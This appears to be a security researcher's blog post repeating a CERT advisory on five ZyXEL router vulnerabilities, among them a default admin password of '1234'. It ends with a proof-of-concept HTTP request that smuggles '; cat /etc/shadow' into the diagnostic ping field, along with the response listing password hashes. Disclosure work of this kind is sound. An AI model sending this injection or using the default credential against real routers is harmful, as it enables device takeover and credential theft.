Wednesday, October 14, 2015

ZyXEL PMG5318-B20A and P-660HW-T1 - Multiple Vulnerabilities

CERT has published a Vulnerability Note VU#870744 detailing my report for multiple vulnerabilities in ZyXEL PMG5318-B20A and P-660HW-T1 routers


CVE #: CVE-2015-6016, CVE-2015-6017, CVE-2015-6018, CVE-2015-6019, CVE-2015-6020




Overview

Several models of ZyXEL routers are vulnerable to multiple issues, including weak default passwords, command injections due to improper input validation, and cross-site scripting.

Description


CWE-255: Credentials Management - CVE-2015-6016

According to the reporter, the following models contain the weak default password of "1234" for the admin account:
  • the ZyXEL P-660HW-T1 v2 with ZyNOS firmware version: V3.40(AXH.0) (dated 3/30/2007)
  • the ZyXEL PMG5318-B20A, firmware version V100AANC0b5
  • the ZyXEL NBG-418N

Many more models have been reported to share this same password.

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) - CVE-2015-6017

According to the reporter, a reflected cross site scripting vulnerability exists in the LoginPassword andhiddenPassword parameters of the /Forms/rpAuth_1 page on the ZyXEL P-660HW-T1 v2 with ZyNOS firmware version: V3.40(AXH.0) (dated 3/30/2007).

CWE-20: Improper Input Validation - CVE-2015-6018

According to the reporter, the diagnostic ping function's PingIPAddr parameter in the ZyXEL PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user input. An attacker may be able to execute arbitrary commands as root.

CWE-613: Insufficient Session Expiration - CVE-2015-6019

According to the reporter, the ZyXEL PMG5318-B20A, firmware version V100AANC0b5 does not properly expire the session when a user logs out of the management portal. The reporter has confirmed the session remains active for at least 1 hour after log off. An attacker may be able to utilize session information to gain access to the device even after the user has logged off.

CWE-285: Improper Authorization - CVE-2015-6020

According to the reporter, the regular user account on the ZyXEL PMG5318-B20A, firmware version V100AANC0b5 has full administrative access, rather than restricted access.


Impact

A remote unauthenticated attacker may be able to modify system configuration.


Credit

Thanks to Joel Land for reporting the vulnerability in the NBG-418N. Thanks to Karn Ganeshen for reporting the remaining vulnerabilities to us.

This document was written by Garret Wassermann.
+++++


Additional Information OS Command Injection PoC

The underlying services are run as 'root'. It therefore, allows dumping system password hashes.

HTTP Request

POST /diagnostic/diagnostic_general.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP>/diagnostic/diagnostic_general.cgi
Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive
Content-Type: multipart/form-data; boundary=-------------------------- -12062103314079176991367286444
Content-Length: 451

——————————————12062103314079176991367286444 
Content-Disposition: form-data; name="InfoDisplay” 
——————————————12062103314079176991367286444 
Content-Disposition: form-data; name="PingIPAddr"
8.8.8.8; cat /etc/shadow 
——————————————12062103314079176991367286444 
Content-Disposition: form-data; name="Submit"
Ping


….
HTTP Response 
.....
<snipped>
<br class="clearfloat" />
<!-- configuration beginning -->
<div class="headline"><span class="cTitle">General</span></div> <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="cfgpadding">
<tr>
<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100" readonly="readonly”> 
root:<hash>:15986:0:99999:7::: lp:*:13013:0:99999:7:::
nobody:*:13013:0:99999:7:::
admin:<hash>:16035:0:99999:7::: user:<hash>:16035:0:99999:7:::
 </textarea></td>
</tr>
</table>
<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="cfgpadding">
<tr> 
-----------------------------12062103314079176991367286444--


No comments:

Post a Comment

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.